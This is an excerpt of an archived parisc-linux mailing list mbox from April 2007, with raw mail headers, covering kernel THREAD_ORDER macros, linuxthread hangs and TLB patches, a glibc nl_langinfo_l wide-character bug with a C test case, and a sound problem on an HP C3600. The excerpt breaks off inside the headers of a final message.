	Sat, 21 Apr 2007 08:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13941-10; Sat, 21 Apr 2007 08:35:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDE1C7DAF9;
	Sat, 21 Apr 2007 08:35:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B756A7DA95
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:35:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13941-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:35:20 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 945EE7DA70
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:35:19 -0600 (MDT)
Original-Received: (qmail invoked by alias); 21 Apr 2007 14:35:18 -0000
Original-Received: from mnhm-590c3b8e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.59.142]
	by mail.gmx.net (mp040) with SMTP; 21 Apr 2007 16:35:18 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
In-Reply-To: <20070317162332.GB10950@athena.road.mcmartin.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YFVPNlw2ZCEXmLGPamwhGWhwIGhpZYbB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24476

On Saturday 17 March 2007, Kyle McMartin wrote:
> On Sat, Mar 17, 2007 at 08:47:44AM -0500, James Bottomley wrote:
> > That's a bit ugly ... and would break if someone added new page sizes.
> > Can't we do something like
> > 
> > #if PAGE_BITS > 16
> > #define THREAD_ORDER 0
> > #else
> > #define THREAD_ORDER (16 - PAGE_BITS)
> > #endif
> > 
> 
> Nice.

Nice yes, but doesn't work.
Basically I think it would need to be PAGE_SHIFT  (instead of PAGE_BITS is part of include/linux/raid/bitmap.h).

But with PAGE_SHIFT you get due to missing #includes lots of:
In file included from include/linux/thread_info.h:21,
                 from include/linux/preempt.h:9,
                 from include/linux/spinlock.h:49,
                 from include/linux/module.h:9,
                 from init/main.c:13:
include/asm/thread_info.h:37:5: warning: "PAGE_SHIFT" is not defined

Adding more #includes isn't a good idea either.

I still propose my initial patch: http://lists.parisc-linux.org/pipermail/parisc-linux/2007-March/031423.html
If someone adds new page sizes (is this likely?), he will stumble over the not-defined THREAD_ORDER anyway and will have to fix it acordingly.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sat, 21 Apr 2007 12:00:51 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200704211600.l3LG0pp1025406__7577.06367080591$1416624337$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440704210751o66fae91mc10f30f429c71143@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624337 23593 80.91.229.3 (22 Nov 2014 02:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:37 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 16:00:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx023) with SMTP; 21 Apr 2007 18:00:53 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3LG0pa4025407;
	Sat, 21 Apr 2007 12:00:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3LG0pp1025406;
	Sat, 21 Apr 2007 12:00:51 -0400 (EDT)
In-Reply-To: <119aab440704210751o66fae91mc10f30f429c71143@mail.gmail.com> from "Carlos O'Donell" at Apr 21, 2007 10:51:06 am
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AQ0cdwgkYmYSuunCanc3k09KWkZTQRRv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24477

> On 4/21/07, Helge Deller <deller@gmx.de> wrote:
> > Do we still see pthread/linuxthread-"hangs" on HPPA ?
> 
> The HPPA hangs are attributed to a race condition in our space id
> setting code. We can reproduce this at will, but we don't yet have a
> good solution. See the older thread about this.

With James' last patch for this problem, I haven't had any zombies
in the GCC testsuite for a couple of months.  My c3k running 2.6.20
hasn't crashed in the same period.  Before, it was crashing every
couple of days.  I'd encourage James to queue this patch for the
next merge even if it isn't perfect.

I tried the testcase from the alpha PR and it didn't cause a problem.

I am seeing timeouts in some thread intensive tests.  For some reason,
these are significantly more frequent on pa8800 with a 64-bit kernel.
I haven't had a chance to investigate but we may have a deadlock somewhere.
I did have a software lockup using a UP kernel a couple of weeks ago.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sat, 21 Apr 2007 15:11:11 -0400 (EDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <200704211911.l3LJBBgh028700__26732.7080051929$1416624337$gmane$org@hiauly1.hia.nrc.ca>
References: <1177177757.3718.79.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624337 23596 80.91.229.3 (22 Nov 2014 02:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:37 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 19:11:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 21 Apr 2007 21:11:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7ABB57DB81;
	Sat, 21 Apr 2007 13:11:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16796-07; Sat, 21 Apr 2007 13:11:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BAAA7DB7D;
	Sat, 21 Apr 2007 13:11:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B31FE7DB79
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 13:11:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16796-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 13:11:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 948C07DB6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 13:11:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3LJBC4f028702;
	Sat, 21 Apr 2007 15:11:12 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3LJBBgh028700;
	Sat, 21 Apr 2007 15:11:11 -0400 (EDT)
In-Reply-To: <1177177757.3718.79.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Apr 21, 2007 12:49:17 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0VYYdwg/Iyd11fqQe2drayRaa2FkZtVd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24478

> > http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031385.html
> 
> This one, definitely not ... it doesn't work ... I need to get acess to
> a machine again where I can play around with it.
> 
> > There's also the somewhat related space register issue associated with
> > TLB flushing:
> > 
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2007-February/031365.html
> 
> I think this one works OK ... but we could do with checking it
> 
> > Randolph's change to tlbflush.h is broken and needs to be reverted
> > if we don't have a better fix yet.
> 
> I really think these problems demonstrate this new approach to patch
> management is non functional.  I bet even the good patch has had no
> testing at all for the last two months.

I've been testing both for the last two months.  My impression is
that the latter patch doesn't fully work.  Although I was able to
successfully bootstrap a SMP kernel with the patch, there were
too many tlb problems for the system to be usable.  The UP version
of the same kernel only has the occassional problem.  It sounds
like I should remove the first one on the pa8800 to see if it is
causing problems.

I definitely miss being able to download parisc patched kernels
and source for testing.  However, I recognize that maintaining
this tree is a lot of work.

Comparing the linux and gcc development models, I have to say I
think the gcc model is better.  In gcc, it's possible to install
bug fixes nearly all the time.  In practice, the only period that
is significantly restricted is the trunk stabilization period
prior to the creation of a release branch.  There are fewers
releases, so this isn't too much of a problem.  The trunk is quite
unstable after a new release branch is created but that's life.

Since the upstream linux merge windows are short, there's definitely
a problem in tracking patches and getting a reasonable amount of
testing before they go upstream.  Even diffs are a problem as changes
can conflict.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA glibc nls bug
Date: Sat, 21 Apr 2007 12:32:20 -0400 (EDT)
Lines: 69
Approved: news@gmane.org
Message-ID: <200704211632.l3LGWKms025929__22349.9140622609$1416624338$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624338 23599 80.91.229.3 (22 Nov 2014 02:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 16:32:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 21 Apr 2007 18:32:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08FF37DA8D;
	Sat, 21 Apr 2007 10:32:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15464-03; Sat, 21 Apr 2007 10:32:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFD307DAAF;
	Sat, 21 Apr 2007 10:32:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C24ED7DA7A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 10:32:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15159-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 10:32:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F16D87DA79
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 10:32:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l3LGWKAY025930
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 12:32:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l3LGWKms025929
	for parisc-linux@lists.parisc-linux.org;
	Sat, 21 Apr 2007 12:32:20 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kgofdwhVbUkoyunGPWgnw+NkZ2hlN8ot
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24479

In the following test program, the call to nl_langinfo_l returns an
incorrect wchar_t string.  We are dropping the first two wide chars:
0x0000897f 0x00005143.  You can see the difference by running this
test on x86 and parisc under gdb, or by printing pp.

#include <locale.h>
#include <langinfo.h>
#include <wchar.h>
wchar_t *
foo (void)
{
  char *__s = "zh_TW";
  wchar_t *pp;
  locale_t loc;
  union { char *__s; wchar_t *__w; } __u;

  loc = newlocale(1 << LC_ALL, __s, 0);
  __u.__s = nl_langinfo_l(_NL_WD_FMT, loc);
  pp = __u.__w;
  return pp;
}
int
main ()
{
  wchar_t *pp;
  pp = foo ();
  return 0;
}

This problem breaks locale support in libstdc++.

I didn't notice this until recently because I didn't have all the locales
needed for the libstdc++ testsuite.  So, the tests using named locales
were skipped.

It's easy to add the necessary locales.  Just add the following to
/etc/locale.gen:

# For libstdc++
de_DE ISO-8859-1
de_DE@euro ISO-8859-15
en_HK ISO-8859-1
en_PH ISO-8859-1
es_ES ISO-8859-1
es_MX ISO-8859-1
fr_FR ISO-8859-1
fr_FR@euro ISO-8859-15
is_IS ISO-8859-1
is_IS.UTF-8 UTF-8
it_IT ISO-8859-1
ja_JP.EUC-JP EUC-JP
se_NO UTF-8
ta_IN UTF-8
zh_TW BIG5
zh_TW.UTF-8 UTF-8
zh_TW.EUC-TW EUC-TW

Then, make the locales available using locale-gen.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sound problems on a C3600
Date: Sun, 22 Apr 2007 06:03:21 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <7d01f9f00704212103q1c6f8d42lc275946dceb8a893__27530.3748589524$1416624338$gmane$org@mail.gmail.com>
References: <462A3C0D.8090004@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624338 23603 80.91.229.3 (22 Nov 2014 02:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Julian Stecklina" <der_julian@web.de>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 04:03:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 22 Apr 2007 06:03:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 561977DB86;
	Sat, 21 Apr 2007 22:03:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19548-03; Sat, 21 Apr 2007 22:03:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3997DB87;
	Sat, 21 Apr 2007 22:03:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 738797DB85
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:03:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19027-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:03:24 -0600 (MDT)
Original-Received: from an-out-0708.google.com (an-out-0708.google.com [209.85.132.242])
	by free.linux.hp.com (Postfix) with ESMTP id AEF557DB84
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 22:03:24 -0600 (MDT)
Original-Received: by an-out-0708.google.com with SMTP id c18so1626730anc
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 21:03:24 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=AFz2thL0N30yy++2bIzCxkXiFMZ+eDKHIjml2xzlPWUjoo7Y2oqUWjmz4EUfPx2qo0yNmPW7cVDJhMq++jg2ax6957iNFdq2lCsuhGMngu4Mq2QTo797fXZzeHVaAUh58TvT3Yv2Cf+1wuX9z8WVldBX4sVYHFgEFQcvxbE5jM8=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=kLrA/7WhZhTCRqVBsmbaNWn4E7rU562H2nDZRtum+5y70wm6pMSs78zujkLIrISnvIv5E5YyZ1h9ZpSLjRZ2Ek6xl5MkhvSJ4ye+Z6PhmgzY1CAxVkRqTZB83mPvgEhfnGb3RE8GLjVrdw1iX/YOs7IDHgptYZcPclGRTIG+gU4=
Original-Received: by 10.100.200.12 with SMTP id x12mr2712786anf.1177214601705;
	Sat, 21 Apr 2007 21:03:21 -0700 (PDT)
Original-Received: by 10.100.133.10 with HTTP; Sat, 21 Apr 2007 21:03:21 -0700 (PDT)
In-Reply-To: <462A3C0D.8090004@web.de>
Content-Disposition: inline
X-Google-Sender-Auth: 8ed130f4b1069e9b
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qucZfg4jMmApm7SZZGFnZWcxMjQ1N91R
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24480

On 4/21/07, Julian Stecklina <der_julian@web.de> wrote:
> Hello,
>
> I am trying to get my HP Visualize C3600 to output some sound, but
> without luck so far. Both the onboard AD1889 sound chip and a
> Soundblaster Live! PCI only produce highly distorted noises with the
> 2.6.20.1 kernel.

That "sounds" like an old alsa-on-parisc bug that I thought was fixed,
but could you try using the OSS emulation instead of native ALSA, see
if it does any better?

Thanks

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hanging linuxthread processes
Date: Sun, 22 Apr 2007 00:55:18 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20070422045518.GA22100__11476.1432320394$1416624338$gmane$org@athena.road.mcmartin.ca>
References: <1177177757.3718.79.camel@mulgrave.il.steeleye.com>
	<200704211911.l3LJBBgh028700@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624338 23605 80.91.229.3 (22 Nov 2014 02:45:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Apr 2007 04:57:58 -0000
